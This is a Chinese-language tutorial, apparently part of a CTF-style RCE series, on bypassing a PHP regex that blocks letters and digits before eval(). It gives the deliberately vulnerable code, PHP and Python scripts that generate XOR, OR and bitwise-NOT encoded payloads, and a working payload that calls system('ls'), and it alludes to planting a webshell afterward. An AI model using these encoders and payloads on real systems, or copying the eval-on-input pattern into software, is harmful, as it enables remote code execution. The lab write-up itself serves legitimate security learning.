目录
无字母数字绕过正则表达式
首先我们依然是搭建环境(环境依然是Ubuntu下部署,和之前的漏洞环境一样)
<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
die('hacker');
}
eval($code);
解读代码
这段代码的目的是让用户在URL参数中输入代码,但如果输入的代码中包含字母或数字,程序就会停止执行并输出“hacker”。如果输入的代码中不包含字母或数字,则该代码会被直接执行。这种做法有很高的安全风险,因为`eval()`函数会执行用户输入的任何代码,可能会导致严重的安全问题。
这段PHP代码展示了当前文件的内容,并对用户输入的代码进行了某种程度的过滤和执行。具体来说,代码的功能如下:
1. `error_reporting(0);`:这一行关闭了所有的错误报告,也就是说,即使代码中有错误,服务器也不会显示任何错误信息。
2. `highlight_file(__FILE__);`:这一行将当前PHP文件的内容高亮显示在网页上,让用户可以看到代码的源代码。
3. `$code=$_GET['code'];`:这一行从URL参数`code`中获取用户输入的值,并将其赋值给变量`$code`。
4. `if(preg_match('/[a-z0-9]/i',$code)){ die('hacker'); }`:这一行通过正则表达式检查`$code`中是否包含字母或数字。如果包含,则程序终止,并输出“hacker”。
- `preg_match('/[a-z0-9]/i',$code)`:这个正则表达式匹配大小写不敏感的字母(`a-zA-Z`)或数字(`0-9`)。
- **`die('hacker');`**:如果匹配成功,则执行`die()`函数,终止脚本的执行,并输出“hacker”。
5. `eval($code);`:这一行使用`eval()`函数执行`$code`中的代码。这意味着用户输入的代码会被当作PHP代码执行。
解题思路
这个时候,我们是理解了这个代码过滤了大小写和数字,那我们该如何成功拿下这个呢,根据代码的意思是我们通过get传参进行传递参数,那我们如何不做任何绕过,那么估计会触发输出hacker,我们先试一下触发后的情况
?code=system('ls")
结果和我们预想的一样,那我们该做怎样的绕过呢,这个时候我们可以使用异或、或、取反三种基本的的方式把想要的字符拼接出来。这时候又遇到一个问题啦,难道我们要一个一个试吗,不,作为一个学习网络安全的同学,有必要掌握至少一门的脚本编程语言,来提高我们的办事效率。那这里我以php和Python两个语言编写脚本
异或
php
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
Python
import re
with open("xor_rce.txt", "w") as myfile:
contents = ""
for i in range(256):
for j in range(256):
hex_i = format(i, '02x')
hex_j = format(j, '02x')
preg = re.compile(r'[a-z0-9]', re.IGNORECASE) # 根据题目给的正则表达式修改即可
if preg.search(bytes.fromhex(hex_i).decode('latin-1')) or preg.search(
bytes.fromhex(hex_j).decode('latin-1')):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(ord(bytes.fromhex(hex_i).decode('latin-1')) ^ ord(bytes.fromhex(hex_j).decode('latin-1')))
if 32 <= ord(c) <= 126:
contents += f"{c} {a} {b}\n"
myfile.write(contents)
结果是一整个文本文档,我们只需要找到我们想要字符的异或方式,就好了。
但是在这个时候,我觉得这么找太不方便了,那就重新写一个脚本,来进行查找吧
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
结果
直接测试,看我们的想法是否可行
剩下的就是写一句话木马,蚁剑进行连接,之后的步骤,懂的都懂。
或
或和异或无非就是修改一点代码,整体框架不变。
php
<?php
$myfile = fopen("xor_rce1.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
Python
import re
with open("xor_rce1.txt", "w") as myfile:
contents = ""
for i in range(256):
for j in range(256):
hex_i = format(i, '02x')
hex_j = format(j, '02x')
preg = re.compile(r'[a-z0-9]', re.IGNORECASE) # 根据题目给的正则表达式修改即可
if preg.search(bytes.fromhex(hex_i).decode('latin-1')) or preg.search(
bytes.fromhex(hex_j).decode('latin-1')):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(ord(bytes.fromhex(hex_i).decode('latin-1')) | ord(bytes.fromhex(hex_j).decode('latin-1')))
if 32 <= ord(c) <= 126:
contents += f"{c} {a} {b}\n"
myfile.write(contents)
查找脚本
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce1.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
结果
取反
因为取反的话,基本上用的都是一个不可见字符,所有不会触发正则表达式,我们一个php脚本就可以了
<?php
var_dump(urlencode(~'system'));
var_dump(urlencode(~'ls'));exit;
?code=(~%8C%86%8C%8B%9A%92)(~%93%8C);
结果
今天的内容就到这里了,我之后还会继续更新(有趣的rce漏洞复习分析)这一系列的内容的,感谢大家的支持!